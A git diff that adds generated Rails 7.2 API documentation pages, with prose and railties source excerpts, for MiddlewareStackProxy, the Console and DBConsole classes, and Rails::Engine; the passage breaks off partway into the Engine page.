+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Configuration/MiddlewareStackProxy.html b/src/7.2/classes/Rails/Configuration/MiddlewareStackProxy.html new file mode 100644 index 0000000000..4fb87a8b74 --- /dev/null +++ b/src/7.2/classes/Rails/Configuration/MiddlewareStackProxy.html @@ -0,0 +1,552 @@ +--- +title: Rails::Configuration::MiddlewareStackProxy +layout: default +--- +
+ +
+
+ +
+ +

MiddlewareStackProxy is a proxy for the Rails middleware stack that allows you to configure middlewares in your application. It works basically as a command recorder, saving each command to be applied after initialization over the default middleware stack, so you can add, swap, or remove any middleware in Rails.

+ +

You can add your own middlewares by using the config.middleware.use method:

+ +
config.middleware.use Magical::Unicorns
+
+ +

This will put the Magical::Unicorns middleware on the end of the stack. You can use insert_before if you wish to add a middleware before another:

+ +
config.middleware.insert_before Rack::Head, Magical::Unicorns
+
+ +

There’s also insert_after which will insert a middleware after another:

+ +
config.middleware.insert_after Rack::Head, Magical::Unicorns
+
+ +

Middlewares can also be completely swapped out and replaced with others:

+ +
config.middleware.swap ActionDispatch::Flash, Magical::Unicorns
+
+ +

Middlewares can be moved from one place to another:

+ +
config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns
+
+ +

This will move the Magical::Unicorns middleware before the ActionDispatch::Flash. You can also move it after:

+ +
config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns
+
+ +

And finally they can also be removed from the stack completely:

+ +
config.middleware.delete ActionDispatch::Flash
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + delete_operations
+ [R] + operations
+ + + + +

Class Public methods

+ +
+

+ + new(operations = [], delete_operations = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 47
+      def initialize(operations = [], delete_operations = [])
+        @operations = operations
+        @delete_operations = delete_operations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + delete(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 70
+      def delete(...)
+        @delete_operations << -> middleware { middleware.delete(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert(...) + +

+ + +
+ +
+ + + + + +
+ Alias for: insert_before +
+ + + + +
+ +
+

+ + insert_after(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 58
+      def insert_after(...)
+        @operations << -> middleware { middleware.insert_after(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert_before(...) + +

+ + +
+ +
+ + + +
+ Also aliased as: insert +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 52
+      def insert_before(...)
+        @operations << -> middleware { middleware.insert_before(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + move(...) + +

+ + +
+ +
+ + + + + +
+ Alias for: move_before +
+ + + + +
+ +
+

+ + move_after(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 80
+      def move_after(...)
+        @delete_operations << -> middleware { middleware.move_after(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + move_before(...) + +

+ + +
+ +
+ + + +
+ Also aliased as: move +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 74
+      def move_before(...)
+        @delete_operations << -> middleware { middleware.move_before(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + swap(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 62
+      def swap(...)
+        @operations << -> middleware { middleware.swap(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unshift(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 84
+      def unshift(...)
+        @operations << -> middleware { middleware.unshift(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/configuration.rb, line 66
+      def use(...)
+        @operations << -> middleware { middleware.use(...) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console.html b/src/7.2/classes/Rails/Console.html new file mode 100644 index 0000000000..1ba69f9cf5 --- /dev/null +++ b/src/7.2/classes/Rails/Console.html @@ -0,0 +1,425 @@ +--- +title: Rails::Console +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + app
+ [R] + console
+ [R] + options
+ + + + +

Class Public methods

+ +
+

+ + new(app, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 13
+    def initialize(app, options = {})
+      @app     = app
+      @options = options
+
+      app.sandbox = sandbox?
+
+      if sandbox? && app.config.disable_sandbox
+        puts "Error: Unable to start console in sandbox mode as sandbox mode is disabled (config.disable_sandbox is true)."
+        exit 1
+      end
+
+      app.load_console
+
+      @console = app.config.console || begin
+        require "rails/commands/console/irb_console"
+        IRBConsole.new(app)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 7
+    def self.start(*args)
+      new(*args).start
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + environment() + +

+ + +
+ +
+ + + +
+ Also aliased as: environment? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 40
+    def environment
+      options[:environment]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + environment?() + +

+ + +
+ +
+ + + + + +
+ Alias for: environment +
+ + + + +
+ +
+

+ + sandbox?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 32
+    def sandbox?
+      return options[:sandbox] if !options[:sandbox].nil?
+
+      return false if Rails.env.local?
+
+      app.config.sandbox_by_default
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_environment!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 45
+    def set_environment!
+      Rails.env = environment
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/console_command.rb, line 49
+    def start
+      set_environment! if environment?
+
+      if sandbox?
+        puts "Loading #{Rails.env} environment in sandbox (Rails #{Rails.version})"
+        puts "Any modifications you make will be rolled back on exit"
+      else
+        puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
+      end
+
+      console.start
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/AppInstance.html b/src/7.2/classes/Rails/Console/AppInstance.html new file mode 100644 index 0000000000..28c4b60088 --- /dev/null +++ b/src/7.2/classes/Rails/Console/AppInstance.html @@ -0,0 +1,108 @@ +--- +title: Rails::Console::AppInstance +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute(create = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 48
+      def execute(create = false)
+        @app_integration_instance = nil if create
+        @app_integration_instance ||= super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/ControllerHelper.html b/src/7.2/classes/Rails/Console/ControllerHelper.html new file mode 100644 index 0000000000..a61f581585 --- /dev/null +++ b/src/7.2/classes/Rails/Console/ControllerHelper.html @@ -0,0 +1,107 @@ +--- +title: Rails::Console::ControllerHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute() + +

+ + +
+

This method assumes an ApplicationController exists, and that it extends ActionController::Base.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 16
+      def execute
+        ApplicationController.helpers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/ControllerInstance.html b/src/7.2/classes/Rails/Console/ControllerInstance.html new file mode 100644 index 0000000000..1982054e30 --- /dev/null +++ b/src/7.2/classes/Rails/Console/ControllerInstance.html @@ -0,0 +1,107 @@ +--- +title: Rails::Console::ControllerInstance +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute() + +

+ + +
+

This method assumes an ApplicationController exists, and that it extends ActionController::Base.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 25
+      def execute
+        @controller ||= ApplicationController.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/IRBConsole.html b/src/7.2/classes/Rails/Console/IRBConsole.html new file mode 100644 index 0000000000..b9a79b806f --- /dev/null +++ b/src/7.2/classes/Rails/Console/IRBConsole.html @@ -0,0 +1,287 @@ +--- +title: Rails::Console::IRBConsole +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 83
+      def initialize(app)
+        @app = app
+
+        require "irb"
+        require "irb/completion"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + colorized_env() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 132
+      def colorized_env
+        case Rails.env
+        when "development"
+          IRB::Color.colorize("dev", [:BLUE])
+        when "test"
+          IRB::Color.colorize("test", [:BLUE])
+        when "production"
+          IRB::Color.colorize("prod", [:RED])
+        else
+          Rails.env
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 90
+      def name
+        "IRB"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 94
+      def start
+        IRB.setup(nil)
+
+        if !Rails.env.local? && !ENV.key?("IRB_USE_AUTOCOMPLETE")
+          IRB.conf[:USE_AUTOCOMPLETE] = false
+        end
+
+        env = colorized_env
+        prompt_prefix = "%N(#{env})"
+        IRB.conf[:IRB_NAME] = @app.name
+
+        IRB.conf[:PROMPT][:RAILS_PROMPT] = {
+          PROMPT_I: "#{prompt_prefix}> ",
+          PROMPT_S: "#{prompt_prefix}%l ",
+          PROMPT_C: "#{prompt_prefix}* ",
+          RETURN: "=> %s\n"
+        }
+
+        if current_filter = IRB.conf[:BACKTRACE_FILTER]
+          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do
+            backtrace = current_filter.call(backtrace)
+            Rails.backtrace_cleaner.filter(backtrace)
+          end
+        else
+          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do
+            Rails.backtrace_cleaner.filter(backtrace)
+          end
+        end
+
+        # Because some users/libs use Rails::ConsoleMethods to extend Rails console,
+        # we still include it for backward compatibility.
+        IRB::ExtendCommandBundle.include ConsoleMethods
+
+        # Respect user's choice of prompt mode.
+        IRB.conf[:PROMPT_MODE] = :RAILS_PROMPT if IRB.conf[:PROMPT_MODE] == :DEFAULT
+        IRB::Irb.new.run(IRB.conf)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/NewSession.html b/src/7.2/classes/Rails/Console/NewSession.html new file mode 100644 index 0000000000..3475c673a0 --- /dev/null +++ b/src/7.2/classes/Rails/Console/NewSession.html @@ -0,0 +1,114 @@ +--- +title: Rails::Console::NewSession +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 33
+      def execute(*)
+        app = Rails.application
+        session = ActionDispatch::Integration::Session.new(app)
+
+        # This makes app.url_for and app.foo_path available in the console
+        session.extend(app.routes.url_helpers)
+        session.extend(app.routes.mounted_helpers)
+
+        session
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/RailsHelperBase.html b/src/7.2/classes/Rails/Console/RailsHelperBase.html new file mode 100644 index 0000000000..7d1458eda9 --- /dev/null +++ b/src/7.2/classes/Rails/Console/RailsHelperBase.html @@ -0,0 +1,74 @@ +--- +title: Rails::Console::RailsHelperBase +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/ReloadCommand.html b/src/7.2/classes/Rails/Console/ReloadCommand.html new file mode 100644 index 0000000000..2a2a98eeb2 --- /dev/null +++ b/src/7.2/classes/Rails/Console/ReloadCommand.html @@ -0,0 +1,122 @@ +--- +title: Rails::Console::ReloadCommand +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 69
+      def execute(*)
+        puts "Reloading..."
+        Rails.application.reloader.reload!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Console/ReloadHelper.html b/src/7.2/classes/Rails/Console/ReloadHelper.html new file mode 100644 index 0000000000..87ff3a730f --- /dev/null +++ b/src/7.2/classes/Rails/Console/ReloadHelper.html @@ -0,0 +1,108 @@ +--- +title: Rails::Console::ReloadHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + execute() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/console/irb_console.rb, line 57
+      def execute
+        puts "Reloading..."
+        Rails.application.reloader.reload!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/classes/Rails/ConsoleMethods.html b/src/7.2/classes/Rails/ConsoleMethods.html similarity index 100% rename from src/classes/Rails/ConsoleMethods.html rename to src/7.2/classes/Rails/ConsoleMethods.html diff --git a/src/7.2/classes/Rails/DBConsole.html b/src/7.2/classes/Rails/DBConsole.html new file mode 100644 index 0000000000..38c0df9fb9 --- /dev/null +++ b/src/7.2/classes/Rails/DBConsole.html @@ -0,0 +1,369 @@ +--- +title: Rails::DBConsole +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 12
+    def initialize(options = {})
+      @options = options
+      @options[:environment] ||= Rails::Command.environment
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 8
+    def self.start(*args)
+      new(*args).start
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + database() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 44
+    def database
+      @options[:database]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + db_config() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 23
+    def db_config
+      @db_config ||= begin
+        # If the user provided a database, use that. Otherwise find
+        # the first config in the database.yml
+        config = if database
+          @db_config = configurations.configs_for(env_name: environment, name: database, include_hidden: true)
+        else
+          @db_config = configurations.find_db_config(environment)
+        end
+
+        unless config
+          missing_db = database ? "'#{database}' database is not" : "No databases are"
+          raise ActiveRecord::AdapterNotSpecified,
+            "#{missing_db} configured for '#{environment}'. Available configuration: #{configurations.inspect}"
+        end
+
+        config.validate!
+        config
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + environment() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 48
+    def environment
+      @options[:environment]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + start() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 17
+    def start
+      adapter_class.dbconsole(db_config, @options)
+    rescue NotImplementedError, ActiveRecord::AdapterNotFound, LoadError => error
+      abort error.message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + configurations() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/commands/dbconsole/dbconsole_command.rb, line 59
+      def configurations # :doc:
+        require APP_PATH
+        ActiveRecord::Base.configurations = Rails.application.config.database_configuration
+        ActiveRecord::Base.configurations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Engine.html b/src/7.2/classes/Rails/Engine.html new file mode 100644 index 0000000000..01b7404e1d --- /dev/null +++ b/src/7.2/classes/Rails/Engine.html @@ -0,0 +1,1427 @@ +--- +title: Rails::Engine +layout: default +--- +
+ +
+
+ +
+ +

Rails::Engine allows you to wrap a specific Rails application or subset of functionality and share it with other applications or within a larger packaged application. Every Rails::Application is just an engine, which allows for simple feature and application sharing.

+ +

Any Rails::Engine is also a Rails::Railtie, so the same methods (like rake_tasks and generators) and configuration options that are available in railties can also be used in engines.

+ +

Creating an Engine

+ +

If you want a gem to behave as an engine, you have to specify an Engine for it somewhere inside your plugin’s lib folder (similar to how we specify a Railtie):

+ +
# lib/my_engine.rb
+module MyEngine
+  class Engine < Rails::Engine
+  end
+end
+
+ +

Then ensure that this file is loaded at the top of your config/application.rb (or in your Gemfile), and it will automatically load models, controllers, and helpers inside app, load routes at config/routes.rb, load locales at config/locales/*/, and load tasks at lib/tasks/*/.

+ +

Configuration

+ +

Like railties, engines can access a config object which contains configuration shared by all railties and the application. Additionally, each engine can access autoload_paths, eager_load_paths and autoload_once_paths settings which are scoped to that engine.

+ +
class MyEngine < Rails::Engine
+  # Add a load path for this specific Engine
+  config.autoload_paths << File.expand_path("lib/some/path", __dir__)
+
+  initializer "my_engine.add_middleware" do |app|
+    app.middleware.use MyEngine::Middleware
+  end
+end
+
+ +

Generators

+ +

You can set up generators for engines with config.generators method:

+ +
class MyEngine < Rails::Engine
+  config.generators do |g|
+    g.orm             :active_record
+    g.template_engine :erb
+    g.test_framework  :test_unit
+  end
+end
+
+ +

You can also set generators for an application by using config.app_generators:

+ +
class MyEngine < Rails::Engine
+  # note that you can also pass block to app_generators in the same way you
+  # can pass it to generators method
+  config.app_generators.orm :datamapper
+end
+
+ +

Paths

+ +

Applications and engines have flexible path configuration, meaning that you are not required to place your controllers at app/controllers, but in any place which you find convenient.

+ +

For example, let’s suppose you want to place your controllers in lib/controllers. You can set that as an option:

+ +
class MyEngine < Rails::Engine
+  paths["app/controllers"] = "lib/controllers"
+end
+
+ +

You can also have your controllers loaded from both app/controllers and lib/controllers:

+ +
class MyEngine < Rails::Engine
+  paths["app/controllers"] << "lib/controllers"
+end
+
+ +

The available paths in an engine are:

+ +
class MyEngine < Rails::Engine
+  paths["app"]                 # => ["app"]
+  paths["app/controllers"]     # => ["app/controllers"]
+  paths["app/helpers"]         # => ["app/helpers"]
+  paths["app/models"]          # => ["app/models"]
+  paths["app/views"]           # => ["app/views"]
+  paths["lib"]                 # => ["lib"]
+  paths["lib/tasks"]           # => ["lib/tasks"]
+  paths["config"]              # => ["config"]
+  paths["config/initializers"] # => ["config/initializers"]
+  paths["config/locales"]      # => ["config/locales"]
+  paths["config/routes.rb"]    # => ["config/routes.rb"]
+end
+
+ +

The Application class adds a couple more paths to this set. And as in your Application, all folders under app are automatically added to the load path. If you have an app/services folder for example, it will be added by default.

+ +

Endpoint

+ +

An engine can also be a Rack application. It can be useful if you have a Rack application that you would like to provide with some of the Engineβ€˜s features.

+ +

To do that, use the ::endpoint method:

+ +
module MyEngine
+  class Engine < Rails::Engine
+    endpoint MyRackApplication
+  end
+end
+
+ +

Now you can mount your engine in application’s routes:

+ +
Rails.application.routes.draw do
+  mount MyEngine::Engine => "/engine"
+end
+
+ +

Middleware stack

+ +

As an engine can now be a Rack endpoint, it can also have a middleware stack. The usage is exactly the same as in Application:

+ +
module MyEngine
+  class Engine < Rails::Engine
+    middleware.use SomeMiddleware
+  end
+end
+
+ +

Routes

+ +

If you don’t specify an endpoint, routes will be used as the default endpoint. You can use them just like you use an application’s routes:

+ +
# ENGINE/config/routes.rb
+MyEngine::Engine.routes.draw do
+  get "/" => "posts#index"
+end
+
+ +

Mount priority

+ +

Note that now there can be more than one router in your application, and it’s better to avoid passing requests through many routers. Consider this situation:

+ +
Rails.application.routes.draw do
+  mount MyEngine::Engine => "/blog"
+  get "/blog/omg" => "main#omg"
+end
+
+ +

MyEngine is mounted at /blog, and /blog/omg points to application’s controller. In such a situation, requests to /blog/omg will go through MyEngine, and if there is no such route in Engineβ€˜s routes, it will be dispatched to main#omg. It’s much better to swap that:

+ +
Rails.application.routes.draw do
+  get "/blog/omg" => "main#omg"
+  mount MyEngine::Engine => "/blog"
+end
+
+ +

Now, Engine will get only requests that were not handled by Application.

+ +

Engine name

+ +

There are some places where an Engine’s name is used:

+
  • +

    routes: when you mount an Engine with mount(MyEngine::Engine => '/my_engine'), it’s used as default :as option

    +
  • +

    rake task for installing migrations my_engine:install:migrations

    +
+ +

Engine name is set by default based on class name. For MyEngine::Engine it will be my_engine_engine. You can change it manually using the engine_name method:

+ +
module MyEngine
+  class Engine < Rails::Engine
+    engine_name "my_engine"
+  end
+end
+
+ +

Isolated Engine

+ +

Normally when you create controllers, helpers, and models inside an engine, they are treated as if they were created inside the application itself. This means that all helpers and named routes from the application will be available to your engine’s controllers as well.

+ +

However, sometimes you want to isolate your engine from the application, especially if your engine has its own router. To do that, you simply need to call ::isolate_namespace. This method requires you to pass a module where all your controllers, helpers, and models should be nested to:

+ +
module MyEngine
+  class Engine < Rails::Engine
+    isolate_namespace MyEngine
+  end
+end
+
+ +

With such an engine, everything that is inside the MyEngine module will be isolated from the application.

+ +

Consider this controller:

+ +
module MyEngine
+  class FooController < ActionController::Base
+  end
+end
+
+ +

If the MyEngine engine is marked as isolated, FooController only has access to helpers from MyEngine, and url_helpers from MyEngine::Engine.routes.

+ +

The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace your controllers, you also need to namespace the related routes. With an isolated engine, the engine’s namespace is automatically applied, so you don’t need to specify it explicitly in your routes:

+ +
MyEngine::Engine.routes.draw do
+  resources :articles
+end
+
+ +

If MyEngine is isolated, the routes above will point to MyEngine::ArticlesController. You also don’t need to use longer URL helpers like my_engine_articles_path. Instead, you should simply use articles_path, like you would do with your main application.

+ +

To make this behavior consistent with other parts of the framework, isolated engines also have an effect on ActiveModel::Naming. In a normal Rails app, when you use a namespaced model such as Namespace::Article, ActiveModel::Naming will generate names with the prefix β€œnamespace”. In an isolated engine, the prefix will be omitted in URL helpers and form fields, for convenience.

+ +
polymorphic_url(MyEngine::Article.new)
+# => "articles_path" # not "my_engine_articles_path"
+
+form_for(MyEngine::Article.new) do
+  text_field :title # => <input type="text" name="article[title]" id="article_title" />
+end
+
+ +

Additionally, an isolated engine will set its own name according to its namespace, so MyEngine::Engine.engine_name will return β€œmy_engine”. It will also set MyEngine.table_name_prefix to β€œmy_engine_”, meaning for example that MyEngine::Article will use the my_engine_articles database table by default.

+ +

Using Engine’s routes outside Engine

+ +

Since you can now mount an engine inside application’s routes, you do not have direct access to Engineβ€˜s url_helpers inside Application. When you mount an engine in an application’s routes, a special helper is created to allow you to do that. Consider such a scenario:

+ +
# config/routes.rb
+Rails.application.routes.draw do
+  mount MyEngine::Engine => "/my_engine", as: "my_engine"
+  get "/foo" => "foo#index"
+end
+
+ +

Now, you can use the my_engine helper inside your application:

+ +
class FooController < ApplicationController
+  def index
+    my_engine.root_url # => /my_engine/
+  end
+end
+
+ +

There is also a main_app helper that gives you access to application’s routes inside Engine:

+ +
module MyEngine
+  class BarController
+    def index
+      main_app.foo_path # => /foo
+    end
+  end
+end
+
+ +

Note that the :as option given to mount takes the engine_name as default, so most of the time you can simply omit it.

+ +

Finally, if you want to generate a URL to an engine’s route using polymorphic_url, you also need to pass the engine helper. Let’s say that you want to create a form pointing to one of the engine’s routes. All you need to do is pass the helper as the first element in array with attributes for URL:

+ +
form_for([my_engine, @user])
+
+ +

This code will use my_engine.user_path(@user) to generate the proper route.

+ +

Isolated engine’s helpers

+ +

Sometimes you may want to isolate an engine, but use helpers that are defined for it. If you want to share just a few specific helpers you can add them to application’s helpers in ApplicationController:

+ +
class ApplicationController < ActionController::Base
+  helper MyEngine::SharedEngineHelper
+end
+
+ +

If you want to include all of the engine’s helpers, you can use the helper method on an engine’s instance:

+ +
class ApplicationController < ActionController::Base
+  helper MyEngine::Engine.helpers
+end
+
+ +

It will include all of the helpers from engine’s directory. Take into account this does not include helpers defined in controllers with helper_method or other similar solutions, only helpers defined in the helpers directory will be included.

+ +

Migrations & seed data

+ +

Engines can have their own migrations. The default path for migrations is exactly the same as in application: db/migrate

+ +

To use engine’s migrations in application you can use the rake task below, which copies them to application’s dir:

+ +
$ rake ENGINE_NAME:install:migrations
+
+ +

Note that some of the migrations may be skipped if a migration with the same name already exists in application. In such a situation you must decide whether to leave that migration or rename the migration in the application and rerun copying migrations.

+ +

If your engine has migrations, you may also want to prepare data for the database in the db/seeds.rb file. You can load that data using the load_seed method, e.g.

+ +
MyEngine::Engine.load_seed
+
+ +

Loading priority

+ +

In order to change engine’s priority you can use config.railties_order in the main application. It will affect the priority of loading views, helpers, assets, and all the other files related to engine or application.

+ +
# load Blog::Engine with highest priority, followed by application and other railties
+config.railties_order = [Blog::Engine, :main_app, :all]
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [RW] + called_from
+ [RW] + isolated
+ [RW] + isolated?
+ + + + +

Class Public methods

+ +
+

+ + endpoint(endpoint = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 379
+      def endpoint(endpoint = nil)
+        @endpoint ||= nil
+        @endpoint = endpoint if endpoint
+        @endpoint
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(path) + +

+ + +
+

Finds engine with given path.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 423
+      def find(path)
+        expanded_path = File.expand_path path
+        Rails::Engine.subclasses.each do |klass|
+          engine = klass.instance
+          return engine if File.expand_path(engine.root) == expanded_path
+        end
+        nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_root(from) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 375
+      def find_root(from)
+        find_root_with_flag "lib", from
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 361
+      def inherited(base)
+        unless base.abstract_railtie?
+          Rails::Railtie::Configuration.eager_load_namespaces << base
+
+          base.called_from = begin
+            call_stack = caller_locations.map { |l| l.absolute_path || l.path }
+
+            File.dirname(call_stack.detect { |p| !p.match?(%r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack]) })
+          end
+        end
+
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + isolate_namespace(mod) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/engine.rb, line 385
+      def isolate_namespace(mod)
